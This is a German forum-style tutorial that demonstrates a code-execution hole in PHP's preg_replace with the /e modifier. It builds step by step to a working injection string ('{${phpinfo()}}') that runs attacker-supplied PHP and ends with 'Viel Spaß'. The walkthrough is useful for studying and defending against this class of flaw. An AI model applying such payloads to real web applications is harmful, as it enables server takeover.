Code Executions gehören seit Jahren zu den am weit verbreitesten
Sicherheitslücken in Web-Applikationen.
Sie tummeln sich dort, wo Befehle wie "eval", "system", "passthrough"
etc. in einem unsicheren Kontext verwendet werden, und dem User die volle
Kontrolle über den Server ermöglichen, sofern er denn seine Möglichkeiten
auszuschöpfen weiß.
Doch Code Executions sind in weitaus mehr Fällen möglich, als man zunächst
annehmen könnte.
Ein interessantes Beispiel dessen ist die PHP Funktion "preg_replace".

Im Grunde ist es eigentlich nur zum substituieren von bestimmten Strings
gedacht, indem man per RegEx Suchmuster(PCRE = Perl compatible regular expression)
einen bestimmten String durch einen anderen ersetzt.
Ein Beispiel dessen wäre:

Code:
 echo preg_replace('/Perl/','C++','Als nächstes lerne ich Perl');
Der String 'Als nächstes lerne ich Perl' wird per RegEx Suchmuster nach 'Perl'
durchsucht, und mit dem Replacement 'C++' ersetzt.
Code:
Als nächstes lerne ich C++
Dies mag einen zunächst sehr sicher vorkommen, was es in diesem Fall auch ist,
doch besitzt die preg_replace Funktion eine Reihe von Optionen, die wir uns nun
näher anschauen möchten.

Einen Parameter, kennt man bereits aus Perl. Dies ist der "e" Modifizierer,
mit dessen Hilfe man Perl Code direkt in der Kommandoleiste ausführen kann,
wenn man den gewünschten Code mitsamt der "-e" Option übergibt.
Einen ganz ähnlichen Effekt hat der e Modifizierer in der PHP eigenen preg_replace
Funktion. Das Replacement wird dadurch als PHP Code interpretiert und wird, bei
korrekter Syntax, zur Ausführung kommen.

Ein Beispiel für einen Aufruf mit e Modifizierer:

Code:
 echo preg_replace('/.*/e','strtoupper("$0")','Ein Test der Methode');
Zunächst erkennen wir das gewohnte Schema...
Der String 'Ein Test der Methode' wird durch 'strtoupper("Ein Test der Methode")'
ersetzt. Ansich ist das nichts besonderes, doch die Option e evaluiert diesen String
nun, sodass wir folgende Ausgabe erhalten:

Code:
EIN TEST DER METHODE
Man sollte meinen, es sei nun ein leichtes, eigenen PHP Code einzuschleusen,
und testet es zunächst wie folgt:

Code:
 echo preg_replace('/.*/e','strtoupper("$0")','phpinfo()');
Der e Modifizierer sollte seine gewohnte Arbeit erledigen, doch die Ausgabe spricht
eine andere Sprache...

Code:
PHPINFO()
Tatsächlich ist es so, dass man mittels der Curly Brackets Notation, den String eingrenzen
muss, was in der Praxis dann wie folgt aussehen könnte.

Code:
 echo ${phpinfo()};
Beim ausführen dieses Code Schnipsels bemerken wir, dass diese Notation fehlerfrei ist,
doch setzen wir dies nun in unsere Funktion ein geschieht folgendes:

Code:
 echo preg_replace('/.*/e','strtoupper("$0")','${phpinfo()}');
Code:
Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: 
   Failed evaluating code: strtoupper(&quot;${phpinfo()}&quot;) in C:\xampp\htdocs\exec.php on line 13
Durch das Parsen des Strings kommt es offenbar zu unerwünschten Ersetzungen, sodass diese Notation
nicht fehlerfrei evaluiert werden kann.
Abhilfe schafft man mit einem kleinen Bypass, indem man um den String jeweils noch geschweifte Klammern
setzt.

Code:
 echo preg_replace('/.*/e','strtoupper("$0")','{${phpinfo()}}');
Die Ausgabe bestätigt, dass das Ausnutzen der Lücke erfolgreich war,
es bedurfte nur der "complex syntax" in PHP und einem kleinen Bypass.

Viel Spaß
Lidloses_Auge
Quelle: http://www.novusec.com